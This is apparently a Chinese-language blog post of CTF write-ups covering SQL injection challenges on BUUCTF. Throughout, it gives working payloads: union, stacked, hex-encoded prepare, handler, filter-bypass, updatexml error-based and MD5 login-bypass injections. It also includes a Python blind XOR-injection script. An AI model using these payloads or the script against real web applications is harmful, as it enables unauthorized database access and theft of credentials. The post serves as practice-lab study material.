少女祈祷中...

sqli实战

————————————在经历sqli-labs后,我决定去实战试试看(也就是刷刷ctf题目)——————————-

**[**极客大挑战 2019]LoveSQL 1

没有过滤

1
**union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3 or 1 = 1 #**

查出Hello geekuser,l0ve1ysq1!(表)

1
**1' union select 1,(select group_concat(column_name)from information_schema.columns where table_name='l0ve1ysq1'),3 or 1 = 1 #**

试了发现是第二个表

1
**1' union select 1,(select group_concat(id,username,password) from l0ve1ysq1),3 or 1 = 1 #**

查询出最后的flag

[SUCTF 2019]EasySQL 1

多次尝试发现or/and/from……等等被过滤了(其实是prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|“—-全被过滤)

尝试堆叠注入(因为show/select没被禁用,符号也没有被禁)【发现可行】

输入abc发现依然没有回显。这时我们可以总结出一条规律,输入非0数字**–有会显,输入0或字母–没有回显,我们由此可以猜测后端代码含有 ||或运算符。(查的)**

源码:

1
$sql = "select ".$post['query']."||flag from Flag";

输入【***,1】**来绕过

代码会变成**select *,1||flag from Flag;——–*(select可以同时查询Flag里面全部的列)

[强网杯 2019]随便注

测试发现1’无法注入,发现堆叠注入可以。

测试select union 发现 return preg_match(“/select|update|delete|drop|insert|where|./i”,$inject);

都被注释了,只能用order by/show查出库,表,列中flag的位置(后面就不会了

查答案后:

方法一****:使用十六进制编码构造**payload

1
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

SeT@a:设置变量,方便后面不用写那么多

0x73656c656374202a2066726f6d20603139313938313039333131313435313460意思是:select * from 1919810931114514``

prepare execsql from @a:把变量a放到预备队列

execute execsql:执行预备队列

方法二: 使用handler查询语句

构造1’; handler 1919810931114514 open as a; handler a read next;#

1919810931114514)是表名字一定纯数字一定要加**``**(波浪号)

**open as a**:意思是把表1919810931114514视作新名字a

handler a read next:意思是再读取a(也就是成功读取了表flag)

[极客大挑战 2019]BabySQL(简单过滤)

1
1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #
1
1' ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#
1
1' ununionion seselectlect 1,2,group_concat(username ,id , passwoorrd) frfromom b4bsql#

[极客大挑战 2019]HardSQL(经典报错注入)

输入1’发现有注入点

试了半天发现都不行,只能去查了

我们需要一个字典!!!!!!

可以看到很多字符=、–+、/**/和一些注入命令union、by、‘1’=’1等被过滤

空格也被注释

使用报错注入:

1
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#

——-(查表)

由于没有空格,所以每一个函数节点,都要用()包裹

**1’or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1’))),1))#——-**(查列)

查前半flag:(第一种)

1
1'or(updatexml(1,concat(0x7e,(select(group_concat('~',password))from(H4rDsq1))),1))#

(第二种):

1
1'or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1))),1))#

查后半:

1
1'or(updatexml(1,concat(0x7e,(select((right(password,25)))from(H4rDsq1))),1))#

[GXYCTF2019]BabySQli

(考察use/password位置MD5加密)

发现过滤了很多,但是没有过滤union select 1,2,3

查了发现可以使用伪密码,构造payload:

1
name=1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1

————————这是post传输,所以要用抓包注入

c4ca4238a0b923820dcc509a6f75849b————对1的MD5加密

在sql数据库中一般都是通过MD5进行加密,这样子加密后不会被发现。

明明**&pw=1都被注释了,为什么还是要写呢?———————-为了绕过防火墙,认为你是正常的数据,伪登入**。

[极客大挑战 2019]FinalSQL(异或注入)

(一定要找到正确的注入点)

在全局注释掉大部分的情况下剩下一个’和^能用就行

刚开始还想在主要的网页进行注入,发现连’都被注释了,只能另寻注入点。

后面发现在那几个页面里

image-20250219214430380

经过测试与查询,发现只有^能用,那就使用异或注入

1
http://d9cc6ff9-ac2f-4193-985d-dce132ad08bd.node3.buuoj.cn/search.php?id=1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))>1)^1

解释:^会导致左右就行异或运算括号里的不会被注释,会优先计算,如果为真就返回1,1^1为1,即可得到正确页面,若是假,就会返回1^0,得到假页面。

发现可以,页面会返回read,那就用read为线索做脚本(参考:

[]: https://blog.csdn.net/qq_37589805/article/details/116525525

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import re
import requests
import string

url = "http://55e943c2-e940-4f03-baf2-d0401c02f939.node3.buuoj.cn/search.php"
flag = ''

def payload(i, j):
sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i, j)
data = {"id": sql}
r = requests.get(url, params=data)
# print (r.url)
if "Click" in r.text:
res = 1
else:
res = 0
return res


def exp():
global flag
for i in range(1, 10000):
print(i, ':')
low = 31
high = 127
while low <= high:
mid = (low + high) // 2
res = payload(i, mid)
if res:
low = mid + 1
else:
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)


exp()
print('flag=', flag)
结果:
information_schema,mysql,performance_schema,test,geek

查出就可以查表,查列,查flag:使用geek数据库获取表名,修改代码为:sql = “1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=’geek’),%d,1))>%d)^1”%(i,j),结果:F1naI1y,Flaaaaag

使用F1nal1y表获取列名:sql = “1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=’F1naI1y’)),%d,1))>%d)^1”%(i,j)结果:id,username,password

获取password里面的flag:sql = “1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1” % (i, j),结果:cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{ba273fbb-d4d3-4d3b-8477-d334b538ed79}

————————————————————————————————————————————————————————————

参考原文链接:https://blog.csdn.net/qq_37589805/article/details/116525525